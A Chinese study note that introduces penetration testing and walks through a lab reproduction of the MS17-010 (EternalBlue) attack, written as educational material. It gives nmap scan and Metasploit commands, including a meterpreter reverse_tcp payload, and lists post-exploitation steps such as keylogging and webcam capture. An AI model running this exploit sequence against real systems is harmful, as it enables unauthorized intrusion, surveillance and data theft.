什么是渗透测试
通俗来讲就是企业或政府邀请网络安全人员来对自己的资产做一个模拟黑客入侵的攻击,找出资产的漏洞来进行修复和加固,渗透测试其实是一种安全测试和评估方法。
目前渗透测试有白盒/黑盒/灰盒三种方式:
- 白盒测试
指的是测试人员可以获取到攻击目标的所有信息,通常被模拟为内部攻击,优点是发现和解决安全漏洞所花费的时间和代价要比黑盒测试少很多,缺点是无法有效测试目标的应急响应程序。
- 黑盒测试
指的是测试人员没有攻击目标的信息,需要进行信息收集,通常被模拟为黑客攻击,优点是更能深层次挖掘出目标的潜在漏洞和薄弱点,缺点是费时费力,需要更高的技术能力。
- 灰盒测试
指的是测试人员可以获取攻击目标的部分信息,通常被模拟为已经非法访问攻击目标的网络基础设施文档的黑客攻击,结合了白盒和黑盒的优点。
如何进行渗透测试
1. 前期交互阶段
主要收集目标需求、准备渗透计划、定义渗透的范围边界、规划渗透流程。
2. 情报收集阶段
利用各种技术手段,收集渗透目标的信息资产,越全面越容易渗透成功。
3. 威胁建模阶段
在收集到足够的渗透目标信息资产之后,对渗透的目标开始建立渗透模型,需要解决的问题是如何达成渗透目的。
4. 漏洞分析阶段
在确定了攻击模型后,我们对渗透目标的漏洞进一步的分析确认,确认渗透目标的可操作性,找出真正的攻击点,如何绕过检测、防火墙等防护设备。
5. 渗透攻击阶段
此阶段就是实质性的入侵进系统,获取系统的访问权,它是整个渗透过程的核心。
6. 后渗透攻击阶段
在这个阶段是最能体现技术的阶段,几乎所有的攻击行为都是在这一阶段展开进行,获取目标系统权限、窃取资源、窃听目标主机网络流量等一些操作都是渗透技术的精髓所在。
7. 报告阶段
总结渗透的过程,存在了哪些漏洞,这些漏洞又要怎么去修复,分析防御体系中存在的薄弱点,需要如何去防范。它就是整个渗透过程的总结。
渗透测试工具
Metasploit
Metasploit是一个开源的渗透测试框架软件,也是一个逐步发展成熟的漏洞研究与渗透代码开发平台,此外也将成为支持整个渗透测试过程的安全技术集成开发与应用环境。
专业术语
- Exploit(漏洞利用)
指一种针对漏洞的代码或技术,用于获取对目标系统的未经授权访问或执行恶意操作,如sql注入,XSS,缓存区溢出,利用配置错误等
- Payload(负载)
是Metasploit中的一种恶意代码,它在成功利用漏洞后在目标系统上执行
- Meterpreter(后渗透负载)
Meterpreter是Metasploit中的一种强大的后渗透负载,它允许渗透测试人员在目标系统上执行各种操作,并提供了丰富的功能,如文件上传和下载、进程管理、截图等
- Module(模块)
Metasploit使用模块化的架构,不同类型的模块用于不同的任务,包括漏洞利用、扫描、负载生成等
- Listener(监听器)
监听器是Metasploit中用来等待接入网络连接主机的组件
nmap
是目前最流行的网络扫描工具,不仅能准确探测单台主机的详细情况,而且能高效地对大范围的Ip地址段扫描。能扫描目标网络上有哪些主机上存活的,哪些服务是开放的,甚至知道网络中使用了何种类型的防火墙设备等
nmap常用命令
nmap 192.168.1.1 -sS TCP SYN端口扫描(有root权限默认)
nmap 192.168.1.1 -sT TCP连接端口扫描(没有root权限默认)
nmap 192.168.1.1 -sU UDP端口扫描
nmap 192.168.1.1 -p 21 扫描特定端口
nmap 192.168.1.1 -p 21-100 扫描端口范围
nmap 192.168.*.1/24 扫描整个子网
nmap 192.168.1.1 -p- 扫描所有端口
nmap 192.168.1.1 -T3 根据目标的反应自动调整时间模式,其中T0~T5为扫描速度级别,默认为T3,速度越快,越容易被防火墙发现
kali
kali是基于Debian的Linux发行版, 设计用于数字取证和渗透测试的操作系统。预装了许多渗透测试软件,包括nmap(端口扫描器)、Wireshark (数据包分析器)、John the Ripper (密码破解器),以及Aircrack-ng (应用于对无线局域网进行渗透测试的软件)
复现ms17-010漏洞攻击
ms17-010漏洞简介
ms17_010 是一种操作系统漏洞,仅影响 Windows系统中的 SMBv1 服务。这个漏洞是由于SMBv1 内核函数中的缓冲区溢出而导致的。攻击者可以通过该漏洞控制目标系统,并执行任意代码。这个漏洞通过 445文件共享端口进行利用,一旦攻击者成功利用该漏洞,就可以在目标主机上植入各种恶意软件,如勒索软件
步骤
- 首先使用命令 ping 192.168.1.18 -c 4(-c 4的意思是ping4次) ping通目标机器的ip,这里我的目标机器ip是192.168.1.18
示例
2. 接下来需要用nmap对目标机器进行扫描,使用命令 nmap 192.168.1.18 -sS(-sS用来加快扫描速度),可以看到目标机器的445端口是开放的,可能存在ms17-010漏洞
- 现在我们使用命令nmap 192.168.1.18 --script=vuln -A -sS(--script脚本扫描是nmap进阶用法,=后面是脚本名,vnln是直接对漏洞进行扫描;-A为深度扫描,可以知道是什么系统)确认是否有ms17-010漏洞存在,从该记录中我们可以看出,它是一个windows 7 2008|8.1版本,存在着ftp、PRC、NETBIOS、SMB等服务,同时它也存在着ms17_010漏洞
示例
4. 下面我们使用命令msfconsole(启用Metasploit的交互式命令)来开启Metasploit,出现以下界面说明开启成功
示例
- 使用命令search ms17-010来搜索漏洞,会出现漏洞对应的模块信息,不同模块用于不同的任务,可以看到有四个模块:
exploit/windows/smb/ms17_010_eternalblue 该模块用于利用MS17-010漏洞实现远程执行代码,可以覆盖掉目标计算机的内存地址,从而实现攻击者的恶意代码在被攻击计算机上的执行。
exploit/windows/smb/ms17_010_psexec 该模块使用PsExec登录到目标计算机的系统帐(NTAUTHORITY\SYSTEM)并实现命令执行,需要在目标计算机上存在管理共享。这个模块和上面的模块一样是利用MS17-010漏洞。
auxiliary/admin/smb/ms17_010_command 该模块用于发现被漏洞影响的 Windows主机,以及执行命令,可以通过提供的选项进行数据包分析,或可选通道溢出使用,以获得远程命令执行的权限。
auxiliary/scanner/smb/smb_ms17_010 该模块用于发现被漏洞影响的 Windows主机,以及执行命令,可以通过提供的选项进行数据包分析,或可选通道溢出使用,以获得远程命令执行的权限。
示例
- 使用命令use 3(3是我这儿对应模块序号,可能有区别,其中序号为3的auxiliary模块是漏洞扫描模块,用来二次确认是否存在该漏洞),使用命令show options查看参数,可以看到参数RHOSTS(就是目标机器的ip)是必填,但是现在没有,所以使用命令set rhosts 192.168.1.18来设置参数
示例
7. 使用命令run,可以看到Host is likely VULNERABLE to MS17-010!(主机可能易受MS17-010攻击)”可以断定目标机存在该漏洞!
示例
- 此时使用命令use 0来进行攻击,使用命令set payload windows/x64/meterpreter/reverse_tcp来设置payload负载,这里默认已经是该负载就不需要额外设置了
示例
- 再次使用命令show options检查攻击模块的参数,可以看到RHOSTS参数没有设置,使用命令set rhosts 192.168.1.18设置一下,设置完成后,执行命令run,看到WIN就说明我们渗透成功了
示例
10.剩下的就是通过命令来进行后渗透攻击,比如文件上传,截图,调用摄像头进行拍照、录像,环境监听,获取键盘记录等
心得
今天认真复现了ms17-010漏洞攻击,熟悉了kali、nmap、Metasploit工具的基本用法,了解得越多,越能感受网络的可怕,没有网络安全技术就像裸泳。整理笔记的时间过得很快,学无止境希望我能坚持下去。